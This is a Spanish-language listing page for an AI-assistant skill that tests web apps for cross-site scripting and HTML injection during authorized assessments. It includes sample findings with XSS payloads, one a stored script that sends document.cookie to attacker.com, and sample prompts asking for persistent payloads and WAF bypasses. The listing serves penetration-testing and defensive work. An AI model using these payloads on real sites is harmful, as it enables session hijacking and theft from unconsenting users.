xss-html-injection
Prueba de vulnerabilidades XSS e inyección HTML
Las aplicaciones web frecuentemente contienen fallas de cross-site scripting e inyección HTML que los atacantes explotan para robar sesiones y credenciales. Esta skill proporciona una metodología sistemática para detectar, explotar y validar vulnerabilidades de inyección del lado del cliente en evaluaciones de seguridad autorizadas.
Descargar el ZIP de la skill
Subir en Claude
Ve a Configuración → Capacidades → Skills → Subir skill
Activa y empieza a usar
Pruébalo
Usando "xss-html-injection". Test the search parameter for reflected XSS
Resultado esperado:
- Vulnerability Found: Reflected XSS in /search?q= parameter
- Severity: Medium
- Payload: <img src=x onerror=alert(document.domain)>
- Context: HTML body - unencoded reflection
- Recommendation: Implement output encoding for all user input
Usando "xss-html-injection". Test user profile bio field for stored XSS
Resultado esperado:
- Vulnerability Found: Stored XSS in user profile bio
- Severity: High (persistent, affects all users)
- Payload: <script>fetch('https://attacker.com/log?c='+document.cookie)</script>
- Impact: Session hijacking for all users viewing profile
- Recommendation: Implement strict input validation and output encoding
Auditoría de seguridad
SeguroThis is a legitimate security testing skill for XSS and HTML injection vulnerability assessment. All 121 static findings are FALSE POSITIVES - they represent educational examples of vulnerable code patterns (eval, innerHTML, document.write) and demonstration payloads using example URLs (attacker.com). The skill teaches security professionals how to identify and test for client-side injection vulnerabilities in authorized penetration tests.
Problemas de riesgo bajo (1)
Factores de riesgo
⚡ Contiene scripts (7)
⚙️ Comandos externos (64)
🌐 Acceso a red (27)
📁 Acceso al sistema de archivos (1)
Patrones detectados
Puntuación de calidad
Lo que puedes crear
Consultor de Seguridad Probando Aplicaciones Web
Realizar pruebas de penetración autorizadas para identificar vulnerabilidades XSS en aplicaciones web de clientes y proporcionar recomendaciones de remediación.
Desarrollador Validando Manejo de Entradas
Probar aplicaciones web personalizadas durante el desarrollo para verificar que se implementa el sanitizado de entrada y codificación de salida adecuados.
Ingeniero QA Realizando Regresión de Seguridad
Incluir pruebas de XSS e inyección HTML en suites de pruebas de regresión de seguridad para detectar vulnerabilidades antes del despliegue a producción.
Prueba estos prompts
Use the XSS HTML injection skill to test the login form at https://example.com for reflected XSS vulnerabilities. Identify all input fields and test for basic XSS payloads.
Use the XSS HTML injection skill to test the comment section for stored XSS. Create test payloads that persist and execute when other users view the content.
Use the XSS HTML injection skill to analyze the JavaScript on https://example.com/dashboard for DOM-based XSS. Check location.hash and location.search handling.
Use the XSS HTML injection skill to test if the WAF at https://example.com blocks common XSS payloads. Try HTML encoding, Unicode encoding, and tag variation bypass techniques.
Mejores prácticas
- Siempre obtener autorización escrita antes de probar cualquier aplicación objetivo
- Usar payloads de demostración controlados que no persisten ni se propagan a usuarios no intencionados
- Reportar vulnerabilidades críticas inmediatamente a través de los canales de respuesta a incidentes correspondientes
Evitar
- Probar sistemas de producción sin autorización escrita explícita
- Usar vulnerabilidades descubiertas para acceso no autorizado o exfiltración de datos
- Desplegar payloads que podrían causar denegación de servicio o daño al sistema
Preguntas frecuentes
¿Esta skill realiza ataques reales a sitios web objetivo?
¿Puede esta skill probar todos los tipos de XSS?
¿Qué autorización se requiere antes de usar esta skill?
¿Esta skill funciona contra aplicaciones con CSP?
¿Siempre se pueden robar cookies de sesión mediante XSS?
¿Qué debo hacer si encuentro una vulnerabilidad XSS crítica?
Detalles del desarrollador
Autor
sickn33Licencia
MIT
Repositorio
https://github.com/sickn33/antigravity-awesome-skills/tree/main/skills/xss-html-injectionRef.
main
Estructura de archivos
📄 SKILL.md